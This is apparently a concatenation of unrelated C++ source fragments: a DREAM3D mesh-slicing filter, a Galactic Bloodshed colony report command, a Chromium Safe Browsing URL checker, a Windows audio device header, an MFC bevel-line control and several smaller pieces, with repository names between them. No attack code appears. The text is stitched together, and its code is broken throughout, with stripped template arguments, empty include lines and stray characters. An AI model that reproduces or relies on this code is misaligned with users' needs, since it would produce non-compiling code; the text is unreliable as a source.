*(m_TriRegionIdPtr.lock()); int32_t edgeCounter = 0; for(MeshIndexType i = 0; i < numTris; i++) { int32_t regionId = 0; // get region Id of this triangle (if they are available) if(m_HaveRegionIds) { regionId = m_TriRegionId[i]; } // determine which slices would hit the triangle float minTriDim = std::numeric_limits::max(); float maxTriDim = -minTriDim; for(size_t j = 0; j < 3; j++) { int64_t vert = tris[3 * i + j]; if(minTriDim > triVerts[3 * vert + 2]) { minTriDim = triVerts[3 * vert + 2]; } if(maxTriDim < triVerts[3 * vert + 2]) { maxTriDim = triVerts[3 * vert + 2]; } } if(minTriDim > maxDim || maxTriDim < minDim) { continue; } if(minTriDim < minDim) { minTriDim = minDim; } if(maxTriDim > maxDim) { maxTriDim = maxDim; } int64_t firstSlice = static_cast(minTriDim / m_SliceResolution); int64_t lastSlice = static_cast(maxTriDim / m_SliceResolution); if(firstSlice < minSlice) { firstSlice = minSlice; } if(lastSlice > maxSlice) { lastSlice = maxSlice; } // get cross product of triangle vectors to get normals float vecAB[3]; float vecAC[3]; float triCross[3]; char val; vecAB[0] = triVerts[3 * tris[3 * i + 1]] - triVerts[3 * tris[3 * i]]; vecAB[1] = triVerts[3 * tris[3 * i + 1] + 1] - triVerts[3 * tris[3 * i] + 1]; vecAB[2] = triVerts[3 * tris[3 * i + 1] + 2] - triVerts[3 * tris[3 * i] + 2]; vecAC[0] = triVerts[3 * tris[3 * i + 2]] - triVerts[3 * tris[3 * i]]; vecAC[1] = triVerts[3 * tris[3 * i + 2] + 1] - triVerts[3 * tris[3 * i] + 1]; vecAC[2] = triVerts[3 * tris[3 * i + 2] + 2] - triVerts[3 * tris[3 * i] + 2]; triCross[0] = vecAB[1] * vecAC[2] - vecAB[2] * vecAC[1]; triCross[1] = vecAB[2] * vecAC[0] - vecAB[0] * vecAC[2]; triCross[2] = vecAB[0] * vecAC[1] - vecAB[1] * vecAC[0]; for(int64_t j = firstSlice; j <= lastSlice; j++) { int cut = 0; bool cornerHit = false; d = (m_SliceResolution * float(j)); q[0] = triVerts[3 * tris[3 * i]]; q[1] = triVerts[3 * tris[3 * i] + 1]; q[2] = triVerts[3 * tris[3 * i] + 2]; r[0] = triVerts[3 * tris[3 * i + 1]]; r[1] = triVerts[3 * tris[3 * i + 1] + 1]; r[2] = triVerts[3 * tris[3 * i + 1] + 2]; if(q[2] > r[2]) { val = rayIntersectsPlane(d, r, q, p); } else { val = rayIntersectsPlane(d, q, r, p); } if(val == '1') { slicedVerts.push_back(p[0]); slicedVerts.push_back(p[1]); slicedVerts.push_back(p[2]); cut++; } else if(val == 'q' || val == 'r') { cornerHit = true; corner[0] = p[0]; corner[1] = p[1]; corner[2] = p[2]; } r[0] = triVerts[3 * tris[3 * i + 2]]; r[1] = triVerts[3 * tris[3 * i + 2] + 1]; r[2] = triVerts[3 * tris[3 * i + 2] + 2]; if(q[2] > r[2]) { val = rayIntersectsPlane(d, r, q, p); } else { val = rayIntersectsPlane(d, q, r, p); } if(val == '1') { slicedVerts.push_back(p[0]); slicedVerts.push_back(p[1]); slicedVerts.push_back(p[2]); cut++; } else if(val == 'q' || val == 'r') { cornerHit = true; corner[0] = p[0]; corner[1] = p[1]; corner[2] = p[2]; } q[0] = triVerts[3 * tris[3 * i + 1]]; q[1] = triVerts[3 * tris[3 * i + 1] + 1]; q[2] = triVerts[3 * tris[3 * i + 1] + 2]; if(q[2] > r[2]) { val = rayIntersectsPlane(d, r, q, p); } else { val = rayIntersectsPlane(d, q, r, p); } if(val == '1') { slicedVerts.push_back(p[0]); slicedVerts.push_back(p[1]); slicedVerts.push_back(p[2]); cut++; } else if(val == 'q' || val == 'r') { cornerHit = true; corner[0] = p[0]; corner[1] = p[1]; corner[2] = p[2]; } if(cut == 1 && !cornerHit) { for(int k = 0; k < 3; k++) { slicedVerts.pop_back(); } } if(cut == 1 && cornerHit) { slicedVerts.push_back(corner[0]); slicedVerts.push_back(corner[1]); slicedVerts.push_back(corner[2]); cut++; } if(cut == 3) { for(int k = 0; k < 9; k++) { slicedVerts.pop_back(); } } if(cut == 2) { size_t size = slicedVerts.size(); // get delta x for the current ordering of the segment float delX = slicedVerts[size - 6] - slicedVerts[size - 3]; // get cross product of vec with 001 slicing direction if((triCross[1] > 0 && delX < 0) || (triCross[1] < 0 && delX > 0)) { float temp[3] = {slicedVerts[size - 3], slicedVerts[size - 2], slicedVerts[size - 1]}; slicedVerts[size - 3] = slicedVerts[size - 6]; slicedVerts[size - 2] = slicedVerts[size - 5]; slicedVerts[size - 1] = slicedVerts[size - 4]; slicedVerts[size - 6] = temp[0]; slicedVerts[size - 5] = temp[1]; slicedVerts[size - 4] = temp[2]; } sliceIds.push_back(j); if(m_HaveRegionIds) { regionIds.push_back(regionId); } edgeCounter++; } } } size_t numVerts = slicedVerts.size() / 3; size_t numEdges = slicedVerts.size() / 6; if(numVerts != (2 * numEdges)) { QString message = QObject::tr("Number of sectioned vertices and edges do not make sense. Number of Vertices: %1 and Number of Edges: %2").arg(numVerts).arg(numEdges); setErrorCondition(-13003, message); return; } DataContainer::Pointer m = getDataContainerArray()->getDataContainer(getSliceDataContainerName()); SharedVertexList::Pointer vertices = EdgeGeom::CreateSharedVertexList(numVerts); EdgeGeom::Pointer edge = EdgeGeom::CreateGeometry(numEdges, vertices, SIMPL::Geometry::EdgeGeometry, !getInPreflight()); float* verts = edge->getVertexPointer(0); MeshIndexType* edges = edge->getEdgePointer(0); std::vector tDims(1, numEdges); m->getAttributeMatrix(getEdgeAttributeMatrixName())->resizeAttributeArrays(tDims); tDims[0] = m_NumberOfSlices; m->getAttributeMatrix(getSliceAttributeMatrixName())->resizeAttributeArrays(tDims); // Weak pointers are still good because the resize operations are affecting the internal structure of the DataArray // and not the actual pointer to the DataArray object itself. Int32ArrayType& m_SliceId = *(m_SliceIdPtr.lock()); Int32ArrayType& m_RegionId = *(m_RegionIdPtr.lock()); for(size_t i = 0; i < numEdges; i++) { edges[2 * i] = 2 * i; edges[2 * i + 1] = 2 * i + 1; verts[3 * (2 * i)] = slicedVerts[3 * (2 * i)]; verts[3 * (2 * i) + 1] = slicedVerts[3 * (2 * i) + 1]; verts[3 * (2 * i) + 2] = slicedVerts[3 * (2 * i) + 2]; verts[3 * (2 * i + 1)] = slicedVerts[3 * (2 * i + 1)]; verts[3 * (2 * i + 1) + 1] = slicedVerts[3 * (2 * i + 1) + 1]; verts[3 * (2 * i + 1) + 2] = slicedVerts[3 * (2 * i + 1) + 2]; m_SliceId[i] = sliceIds[i]; if(m_HaveRegionIds) { m_RegionId[i] = regionIds[i]; } } // rotate all CAD triangles back to original orientation rotateVertices(rotBackward, n, numTriVerts, triVerts); // rotate all edges back to original orientation rotateVertices(rotBackward, n, numVerts, verts); m->setGeometry(edge); notifyStatusMessage("Complete"); } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- AbstractFilter::Pointer SliceTriangleGeometry::newFilterInstance(bool copyFilterParameters) const { SliceTriangleGeometry::Pointer filter = SliceTriangleGeometry::New(); if(copyFilterParameters) { copyFilterParameterInstanceVariables(filter.get()); } return filter; } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- QString SliceTriangleGeometry::getCompiledLibraryName() const { return DREAM3DReviewConstants::DREAM3DReviewBaseName; } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- QString SliceTriangleGeometry::getBrandingString() const { return "DREAM3DReview"; } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- QString SliceTriangleGeometry::getFilterVersion() const { QString version; QTextStream vStream(&version); vStream << DREAM3DReview::Version::Major() << "." << DREAM3DReview::Version::Minor() << "." << DREAM3DReview::Version::Patch(); return version; } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- QString SliceTriangleGeometry::getGroupName() const { return SIMPL::FilterGroups::SamplingFilters; } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- QString SliceTriangleGeometry::getSubGroupName() const { return SIMPL::FilterSubGroups::GeometryFilters; } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- QString SliceTriangleGeometry::getHumanLabel() const { return "Slice Triangle Geometry"; } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- QUuid SliceTriangleGeometry::getUuid() const { return QUuid("{222307a4-67fd-5cb5-a12e-d80f9fb970ae}"); } // ----------------------------------------------------------------------------- SliceTriangleGeometry::Pointer SliceTriangleGeometry::NullPointer() { return Pointer(static_cast(nullptr)); } // ----------------------------------------------------------------------------- std::shared_ptr SliceTriangleGeometry::New() { struct make_shared_enabler : public SliceTriangleGeometry { }; std::shared_ptr val = std::make_shared(); val->setupFilterParameters(); return val; } // ----------------------------------------------------------------------------- QString SliceTriangleGeometry::getNameOfClass() const { return QString("SliceTriangleGeometry"); } // ----------------------------------------------------------------------------- QString SliceTriangleGeometry::ClassName() { return QString("SliceTriangleGeometry"); } // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setCADDataContainerName(const DataArrayPath& value) { m_CADDataContainerName = value; } // ----------------------------------------------------------------------------- DataArrayPath SliceTriangleGeometry::getCADDataContainerName() const { return m_CADDataContainerName; } // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setSliceDataContainerName(const QString& value) { m_SliceDataContainerName = value; } // ----------------------------------------------------------------------------- QString SliceTriangleGeometry::getSliceDataContainerName() const { return m_SliceDataContainerName; } // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setEdgeAttributeMatrixName(const QString& value) { m_EdgeAttributeMatrixName = value; } // ----------------------------------------------------------------------------- QString SliceTriangleGeometry::getEdgeAttributeMatrixName() const { return m_EdgeAttributeMatrixName; } // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setSliceAttributeMatrixName(const QString& value) { m_SliceAttributeMatrixName = value; } // ----------------------------------------------------------------------------- QString SliceTriangleGeometry::getSliceAttributeMatrixName() const { return m_SliceAttributeMatrixName; } // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setSliceIdArrayName(const QString& value) { m_SliceIdArrayName = value; } // ----------------------------------------------------------------------------- QString SliceTriangleGeometry::getSliceIdArrayName() const { return m_SliceIdArrayName; } // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setHaveRegionIds(bool value) { m_HaveRegionIds = value; } // ----------------------------------------------------------------------------- bool SliceTriangleGeometry::getHaveRegionIds() const { return m_HaveRegionIds; } // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setRegionIdArrayPath(const DataArrayPath& value) { m_RegionIdArrayPath = value; } // ----------------------------------------------------------------------------- DataArrayPath SliceTriangleGeometry::getRegionIdArrayPath() const { return m_RegionIdArrayPath; } // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setSliceDirection(const FloatVec3Type& value) { m_SliceDirection = value; } // ----------------------------------------------------------------------------- FloatVec3Type SliceTriangleGeometry::getSliceDirection() const { return m_SliceDirection; } // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setSliceResolution(float value) { m_SliceResolution = value; } // ----------------------------------------------------------------------------- float SliceTriangleGeometry::getSliceResolution() const { return m_SliceResolution; } // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setZstart(float value) { m_Zstart = value; } // ----------------------------------------------------------------------------- float SliceTriangleGeometry::getZstart() const { return m_Zstart; } // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setZend(float value) { m_Zend = value; } // ----------------------------------------------------------------------------- float SliceTriangleGeometry::getZend() const { return m_Zend; } // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setSliceRange(int value) { m_SliceRange = value; } // ----------------------------------------------------------------------------- int SliceTriangleGeometry::getSliceRange() const { return m_SliceRange; } // Copyright 2019 The Galactic Bloodshed Authors. All rights reserved. // Use of this source code is governed by a license that can be // found in the COPYING file. import gblib; import std; #include "gb/commands/colonies.h" #include "gb/GB_server.h" #include "gb/buffers.h" #include "gb/files_shl.h" #include "gb/map.h" #include "gb/max.h" #include "gb/place.h" #include "gb/power.h" #include "gb/races.h" #include "gb/ships.h" #include "gb/tweakables.h" #include "gb/vars.h" namespace { void colonies_at_star(GameObj &g, const Race &race, const starnum_t star) { player_t Playernum = g.player; governor_t Governor = g.governor; stars[star] = getstar(star); if (!isset(stars[star].explored, Playernum)) return; for (auto i = 0; i < stars[star].numplanets; i++) { const auto pl = getplanet(star, i); if (pl.info[Playernum - 1].explored && pl.info[Playernum - 1].numsectsowned && (!Governor || stars[star].governor[Playernum - 1] == Governor)) { sprintf(buf, " %c %4.4s/%-4.4s%c%4d%3d%5ld%8ld%3d%6lu%5d%6d " "%3d/%-3d%3.0f/%-3d%3d/%-3d", Psymbol[pl.type], stars[star].name, stars[star].pnames[i], (pl.info[Playernum - 1].autorep ? '*' : ' '), stars[star].governor[Playernum - 1], pl.info[Playernum - 1].numsectsowned, pl.info[Playernum - 1].tech_invest, pl.info[Playernum - 1].popn, pl.info[Playernum - 1].crystals, pl.info[Playernum - 1].resource, pl.info[Playernum - 1].destruct, pl.info[Playernum - 1].fuel, pl.info[Playernum - 1].tax, pl.info[Playernum - 1].newtax, pl.compatibility(race), pl.conditions[TOXIC], pl.info[Playernum - 1].comread, pl.info[Playernum - 1].mob_set); notify(Playernum, Governor, buf); for (auto j = 1; j <= Num_races; j++) if ((j != Playernum) && (pl.info[j - 1].numsectsowned > 0)) { sprintf(buf, " %d", j); notify(Playernum, Governor, buf); } g.out << "\n"; } } } } // namespace void colonies(const command_t &argv, GameObj &g) { const player_t Playernum = g.player; const governor_t Governor = g.governor; notify(Playernum, Governor, " ========== Colonization Report ==========\n"); notify(Playernum, Governor, " Planet gov sec tech popn x res " "des fuel tax cmpt/tox mob Aliens\n"); auto &race = races[Playernum - 1]; getsdata(&Sdata); if (argv.size() < 2) for (starnum_t star = 0; star < Sdata.numstars; star++) colonies_at_star(g, race, star); else for (int i = 1; i < argv.size(); i++) { Place where{g, argv[i]}; if (where.err || (where.level == ScopeLevel::LEVEL_UNIV) || (where.level == ScopeLevel::LEVEL_SHIP)) { sprintf(buf, "Bad location `%s'.\n", argv[i].c_str()); notify(Playernum, Governor, buf); continue; } /* ok, a proper location */ colonies_at_star(g, race, where.snum); } g.out << "\n"; } #include "autogen/token/h1/State/Unknown.hpp" namespace astateful { namespace token { namespace h1 { state_e StateUnknown::operator()( Context&, uint8_t ) { return state_e::Unknown; } } } }0 #include using namespace std; int main() { int i, j, n, x, y, move = 0, sum = 0;; cin>>n; for(i = 1; i <= n/2; i++) { x = i; y = (n - x)/x; if(y*x == (n-x)) { for(j = 1; j <= x; j++) { sum += (1+y); } if(sum == n) move++; sum = 0; } } cout<sarang-apps/darshan_browser // Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/safe_browsing/core/browser/safe_browsing_url_checker_impl.h" #include "base/bind.h" #include "base/metrics/histogram_functions.h" #include "base/metrics/histogram_macros.h" #include "base/metrics/histogram_macros_local.h" #include "base/task/post_task.h" #include "components/safe_browsing/content/web_ui/safe_browsing_ui.h" #include "components/safe_browsing/core/common/safebrowsing_constants.h" #include "components/safe_browsing/core/common/thread_utils.h" #include "components/safe_browsing/core/realtime/policy_engine.h" #include "components/safe_browsing/core/realtime/url_lookup_service.h" #include "components/safe_browsing/core/web_ui/constants.h" namespace safe_browsing { bool SafeBrowsingUrlCheckerImpl::CanPerformFullURLLookup(const GURL& url) { return real_time_lookup_enabled_ && RealTimePolicyEngine::CanPerformFullURLLookupForResourceType( resource_type_, enhanced_protection_enabled_) && RealTimeUrlLookupService::CanCheckUrl(url); } void SafeBrowsingUrlCheckerImpl::OnRTLookupRequest( std::unique_ptr request, std::string oauth_token) { DCHECK(CurrentlyOnThread(ThreadID::IO)); // The following is to log this RTLookupRequest on any open // chrome://safe-browsing pages. base::PostTaskAndReplyWithResult( FROM_HERE, CreateTaskTraits(ThreadID::UI), base::BindOnce(&WebUIInfoSingleton::AddToRTLookupPings, base::Unretained(WebUIInfoSingleton::GetInstance()), *request, oauth_token), base::BindOnce(&SafeBrowsingUrlCheckerImpl::SetWebUIToken, weak_factory_.GetWeakPtr())); } void SafeBrowsingUrlCheckerImpl::OnRTLookupResponse( bool is_rt_lookup_successful, std::unique_ptr response) { DCHECK(CurrentlyOnThread(ThreadID::IO)); bool is_expected_resource_type = (ResourceType::kMainFrame == resource_type_) || ((ResourceType::kSubFrame == resource_type_) && enhanced_protection_enabled_); DCHECK(is_expected_resource_type); const GURL& url = urls_[next_index_].url; if (!is_rt_lookup_successful) { PerformHashBasedCheck(url); return; } if (url_web_ui_token_ != -1) { // The following is to log this RTLookupResponse on any open // chrome://safe-browsing pages. base::PostTask( FROM_HERE, CreateTaskTraits(ThreadID::UI), base::BindOnce(&WebUIInfoSingleton::AddToRTLookupResponses, base::Unretained(WebUIInfoSingleton::GetInstance()), url_web_ui_token_, *response)); } SBThreatType sb_threat_type = SB_THREAT_TYPE_SAFE; if (response && (response->threat_info_size() > 0) && response->threat_info(0).verdict_type() == RTLookupResponse::ThreatInfo::DANGEROUS) { // TODO(crbug.com/1033692): Only take the first threat info into account // because threat infos are returned in decreasing order of severity. // Consider extend it to support multiple threat types. sb_threat_type = RealTimeUrlLookupService::GetSBThreatTypeForRTThreatType( response->threat_info(0).threat_type()); } OnUrlResult(url, sb_threat_type, ThreatMetadata()); } } // namespace safe_browsing src/hikogui/audio/audio_device_win32.hpp // Copyright 2020. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at https://www.boost.org/LICENSE_1_0.txt) #pragma once #include "audio_device.hpp" #include "audio_stream_format.hpp" struct IMMDevice; struct IPropertyStore; struct IMMEndpoint; struct IAudioEndpointVolume; struct IAudioMeterInformation; struct IAudioClient; namespace hi::inline v1 { /*! A class representing an audio device on the system. */ class audio_device_win32 : public audio_device { public: audio_device_win32(IMMDevice *device); ~audio_device_win32(); /** Get the device id for the given win32 audio end-point. * * @param device The win32 device instance to get the device id from. * @return A device id as string, to differentiate with asio it will start with "win32:" * @throws io_error When the device id could not be retrieved. */ [[nodiscard]] static std::string get_device_id(IMMDevice *device); /// @beginprivatemethods void update_state() noexcept override; [[nodiscard]] std::string name() const noexcept override; [[nodiscard]] hi::label label() const noexcept override; [[nodiscard]] audio_device_state state() const noexcept override; [[nodiscard]] audio_direction direction() const noexcept override; [[nodiscard]] bool exclusive() const noexcept override; void set_exclusive(bool exclusive) noexcept override; [[nodiscard]] double sample_rate() const noexcept override; void set_sample_rate(double sample_rate) noexcept override; [[nodiscard]] hi::speaker_mapping input_speaker_mapping() const noexcept override; void set_input_speaker_mapping(hi::speaker_mapping speaker_mapping) noexcept override; [[nodiscard]] std::vector available_input_speaker_mappings() const noexcept override; [[nodiscard]] hi::speaker_mapping output_speaker_mapping() const noexcept override; void set_output_speaker_mapping(hi::speaker_mapping speaker_mapping) noexcept override; [[nodiscard]] std::vector available_output_speaker_mappings() const noexcept override; [[nodiscard]] bool supports_format(audio_stream_format const& format) const noexcept; /// @endprivatemethods private: std::string _end_point_id; audio_device_state _previous_state; audio_direction _direction; bool _exclusive = false; double _sample_rate = 0.0; hi::speaker_mapping _speaker_mapping = hi::speaker_mapping::none; audio_stream_format _current_stream_format; IMMDevice *_device = nullptr; IMMEndpoint *_end_point = nullptr; IPropertyStore *_property_store = nullptr; IAudioClient *_audio_client = nullptr; /** Get a user friendly name of the audio device. * This is the name of the audio device itself, such as * "Realtek High Definition Audio". */ std::string device_name() const noexcept; /** Get a user friendly name of the audio end-point device. * This is the name of the end point, such as "Microphone". */ std::string end_point_name() const noexcept; GUID pin_category() const noexcept; /** Get the legacy waveIn or waveOut id. * * The waveIn/waveOut id are required to get access to the audio device driver * to query the formats that it supports. */ unsigned int wave_id() const; /** Query the audio device through the driver to determine the supported formats. */ void update_supported_formats() noexcept; /** Find a stream format based on the prototype_stream_format. * * This function looks for a supported stream format when the device is used in exclusive-mode. * The prototype consists of a sample-rate and speaker mapping. From this the best sample format * is selected: int24 -> float32 -> int20 -> int16. int24 is selected above float, so that hikogui * will handle dithering. * * @param sample_rate The sample rate selected by the user. * @param speaker_mapping The speaker mapping selected by the user. * @return A supported audio_stream_format or empty. */ [[nodiscard]] audio_stream_format find_exclusive_stream_format(double sample_rate, hi::speaker_mapping speaker_mapping) noexcept; /** Get the shared stream format for the device. */ [[nodiscard]] audio_stream_format shared_stream_format() const; }; } // namespace hi::inline v1 // Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ui/events/ozone/evdev/touch_noise/touch_noise_finder.h" #include "base/memory/ptr_util.h" #include "base/metrics/histogram_macros.h" #include "ui/events/event_utils.h" #include "ui/events/ozone/evdev/touch_noise/far_apart_taps_touch_noise_filter.h" #include "ui/events/ozone/evdev/touch_noise/horizontally_aligned_touch_noise_filter.h" #include "ui/events/ozone/evdev/touch_noise/single_position_touch_noise_filter.h" #include "ui/events/ozone/evdev/touch_noise/touch_noise_filter.h" namespace ui { TouchNoiseFinder::TouchNoiseFinder() : last_noise_time_(ui::EventTimeForNow()) { filters_.push_back(base::MakeUnique()); filters_.push_back(base::MakeUnique()); filters_.push_back(base::MakeUnique()); } TouchNoiseFinder::~TouchNoiseFinder() { } void TouchNoiseFinder::HandleTouches( const std::vector& touches, base::TimeTicks time) { for (const InProgressTouchEvdev& touch : touches) { if (!touch.was_touching) slots_with_noise_.set(touch.slot, false); } bool had_noise = slots_with_noise_.any(); for (const auto& filter : filters_) filter->Filter(touches, time, &slots_with_noise_); RecordUMA(had_noise, time); } bool TouchNoiseFinder::SlotHasNoise(size_t slot) const { return slots_with_noise_.test(slot); } void TouchNoiseFinder::RecordUMA(bool had_noise, base::TimeTicks time) { if (slots_with_noise_.any()) { if (!had_noise) { UMA_HISTOGRAM_LONG_TIMES( "Ozone.TouchNoiseFilter.TimeSinceLastNoiseOccurrence", time - last_noise_time_); } last_noise_time_ = time; } } } // namespace ui ronsaldo/sysmel-beta #ifndef SYSMEL_ENVIRONMENT_AST_COMPILE_TIME_EVALUATION_ERROR_NODE_HPP #define SYSMEL_ENVIRONMENT_AST_COMPILE_TIME_EVALUATION_ERROR_NODE_HPP #pragma once #include "ASTErrorNode.hpp" namespace Sysmel { namespace Environment { SYSMEL_DECLARE_BOOTSTRAP_CLASS(Error); /** * I am the interface for all of the language independent AST nodes. */ class SYSMEL_COMPILER_LIB_EXPORT ASTCompileTimeEvaluationErrorNode : public SubtypeOf { public: static constexpr char const __typeName__[] = "ASTCompileTimeEvaluationErrorNode"; virtual bool isASTCompileTimeEvaluationErrorNode() const override; virtual AnyValuePtr accept(const ASTVisitorPtr &visitor) override; virtual SExpression asSExpression() const override; virtual CompilationErrorPtr asCompilationError() override; std::string errorMessage; ErrorPtr caughtError; }; } // End of namespace Environment } // End of namespace Sysmel #endif //SYSMEL_ENVIRONMENT_AST_COMPILE_TIME_EVALUATION_ERROR_NODE_HPP// cdxCRotBevelLine.cpp : implementation file // #include "stdafx.h" #include "cdxCRotBevelLine.h" #include "cdxCRot90DC.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///////////////////////////////////////////////////////////////////////////// // cdxCRotBevelLine ///////////////////////////////////////////////////////////////////////////// IMPLEMENT_DYNAMIC(cdxCRotBevelLine,CStatic); ///////////////////////////////////////////////////////////////////////////// static const CString s_strTwoSpaces = _T(" "); static const CPoint s_pnt11 = CPoint(1,1); ///////////////////////////////////////////////////////////////////////////// // construction ///////////////////////////////////////////////////////////////////////////// BEGIN_MESSAGE_MAP(cdxCRotBevelLine, CStatic) //{{AFX_MSG_MAP(cdxCRotBevelLine) ON_WM_PAINT() ON_WM_DROPFILES() ON_WM_ENABLE() ON_WM_ERASEBKGND() //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // cdxCRotBevelLine misc stuff ///////////////////////////////////////////////////////////////////////////// static inline CRect makeTextRect(const CRect & rectClient, const CSize & sz, DWORD dwType, int iAngle) { CRect rectText; switch(iAngle) { default: ASSERT(false); case 0: rectText.top = rectClient.top - sz.cy/2 - 2; rectText.bottom = rectText.top + sz.cy; switch(dwType) { default : ASSERT(false); case SS_LEFT : rectText.left = rectClient.left; rectText.right = rectClient.left + sz.cx; break; case SS_CENTER: rectText.left = rectClient.left + (rectClient.Width() - sz.cx) / 2; rectText.right = rectText.left + sz.cx; break; case SS_RIGHT : rectText.left = rectClient.right - sz.cx; rectText.right = rectClient.right; break; } break; case 90: rectText.left = rectClient.left - sz.cy/2 - 1; rectText.right = rectText.left + sz.cy; switch(dwType) { default : ASSERT(false); case SS_RIGHT : rectText.top = rectClient.top; rectText.bottom = rectClient.top + sz.cx; break; case SS_CENTER: rectText.top = rectClient.top + (rectClient.Height() - sz.cx) / 2; rectText.bottom = rectText.top + sz.cx; break; case SS_LEFT : rectText.top = rectClient.bottom - sz.cx; rectText.bottom = rectClient.bottom; break; } break; case 270: rectText.left = rectClient.left - sz.cy/2 + 1; rectText.right = rectText.left + sz.cy; switch(dwType) { default : ASSERT(false); case SS_LEFT : rectText.top = rectClient.top; rectText.bottom = rectClient.top + sz.cx; break; case SS_CENTER: rectText.top = rectClient.top + (rectClient.Height() - sz.cx) / 2; rectText.bottom = rectText.top + sz.cx; break; case SS_RIGHT : rectText.top = rectClient.bottom - sz.cx; rectText.bottom = rectClient.bottom; break; } break; } return rectText; } static inline void drawText(CDC & dc, CString s, const CRect & r, const CPoint & pnt11, bool bDisabled) { COLORREF txtCol = dc.GetTextColor(); int md = dc.SetBkMode(TRANSPARENT); if(bDisabled) { dc.SetTextColor(::GetSysColor(COLOR_3DHIGHLIGHT)); dc.DrawText(s,r + pnt11,DT_LEFT|DT_VCENTER|DT_SINGLELINE|DT_END_ELLIPSIS); dc.SetTextColor(::GetSysColor(COLOR_3DSHADOW)); } else dc.SetTextColor(::GetSysColor(COLOR_BTNTEXT)); dc.DrawText(s,(RECT *)(const RECT *)r,DT_LEFT|DT_VCENTER|DT_SINGLELINE|DT_END_ELLIPSIS); dc.SetTextColor(txtCol); dc.SetBkMode(md); } static inline CSize textExtent(CDC & dc, CString s) { CRect r(0,10,0,10); CSize sz; sz.cy = dc.DrawText(s,r,DT_LEFT|DT_SINGLELINE|DT_NOCLIP|DT_CALCRECT); sz.cx = r.Width(); return sz; } void cdxCRotBevelLine::OnPaint() { // make dc CPaintDC dc(this); // device context for painting CRect rectClient; GetClientRect(rectClient); COLORREF oldBkCol = dc.GetBkColor(); CFont *pOldFont = dc.SelectObject(GetFont()); COLORREF hiCol = ::GetSysColor(!m_bSunken ? COLOR_3DHIGHLIGHT : COLOR_3DSHADOW), loCol = ::GetSysColor(m_bSunken ? COLOR_3DHIGHLIGHT : COLOR_3DSHADOW); dc.FillSolidRect(rectClient,::GetSysColor(COLOR_BTNFACE)); // draw bevel CRect rectBevel; bool bHorz; if(rectClient.Width() > rectClient.Height()) { rectBevel.left = rectClient.left; rectBevel.right = rectClient.right; rectBevel.top = rectClient.top + rectClient.Height() / 2; rectBevel.bottom = rectBevel.top + 2; bHorz = true; } else { rectBevel.left = rectClient.left + rectClient.Width() / 2; rectBevel.right = rectBevel.left + 2; rectBevel.top = rectClient.top; rectBevel.bottom = rectClient.bottom; bHorz = false; } dc.Draw3dRect(rectBevel,hiCol,loCol); // add some text CString s; GetWindowText(s); if(!s.IsEmpty()) { // interpret my ~ stuff (even for horizontals where we cut it off only) int iAngle; if(s[0] == _T('~')) { s = s.Mid(1); iAngle = bHorz ? 0 : 270; } else iAngle = bHorz ? 0 : 90; // get proper style DWORD dwType = GetStyle() & SS_TYPEMASK; switch(dwType) { default: dwType = SS_LEFT; case SS_LEFT : break; case SS_RIGHT : break; case SS_CENTER: break; } if(dwType != SS_LEFT) s = s_strTwoSpaces + s; if(dwType != SS_RIGHT) s += s_strTwoSpaces; // get proper rect CSize sz = textExtent(dc,s); CRect rectText = makeTextRect(rectBevel,sz,dwType,iAngle); ++rectText.bottom; if(dwType == SS_RIGHT) // ensure disabled text is drawn properly --rectText.left; dc.IntersectClipRect(rectText); dc.FillSolidRect(rectText,::GetSysColor(COLOR_BTNFACE)); if(bHorz) { drawText(dc,s,rectText,s_pnt11,(GetStyle() & WS_DISABLED) != 0); } else { cdxCRot90DC rotDC(dc,rectText,iAngle,true); if(rotDC.IsCreated()) drawText(rotDC,s,rotDC,rotDC.rotate(s_pnt11),(GetStyle() & WS_DISABLED) != 0); } } dc.SelectObject(pOldFont); dc.SetBkColor(oldBkCol); } ///////////////////////////////////////////////////////////////////////////// void cdxCRotBevelLine::OnEnable(BOOL bEnable) { SetRedraw(FALSE); CStatic::OnEnable(bEnable); SetRedraw(TRUE); Invalidate(); } BOOL cdxCRotBevelLine::OnEraseBkgnd(CDC* pDC) { return TRUE; } void cdxCRotBevelLine::OnNcPaint() { // do nothing here } lkusch/Kratos // | / | // ' / __| _` | __| _ \ __| // . \ | ( | | ( |\__ ` // _|\_\_| \__,_|\__|\___/ ____/ // Multi-Physics // // License: BSD License // Kratos default license: kratos/license.txt // // Main authors: // // // System includes #include // External includes // Project includes #include "containers/model.h" #include "includes/cfd_variables.h" #include "includes/checks.h" #include "includes/define.h" #include "includes/model_part.h" #include "solving_strategies/schemes/scheme.h" #include "spaces/ublas_space.h" #include "testing/testing.h" #include "utilities/normal_calculation_utils.h" #include "utilities/variable_utils.h" // Application includes #include "custom_response_functions/velocity_pressure_norm_square_response_function.h" #include "custom_strategies/schemes/residualbased_predictorcorrector_velocity_bossak_scheme_turbulent.h" #include "custom_strategies/schemes/residualbased_simple_steady_scheme.h" #include "custom_strategies/schemes/simple_steady_adjoint_scheme.h" #include 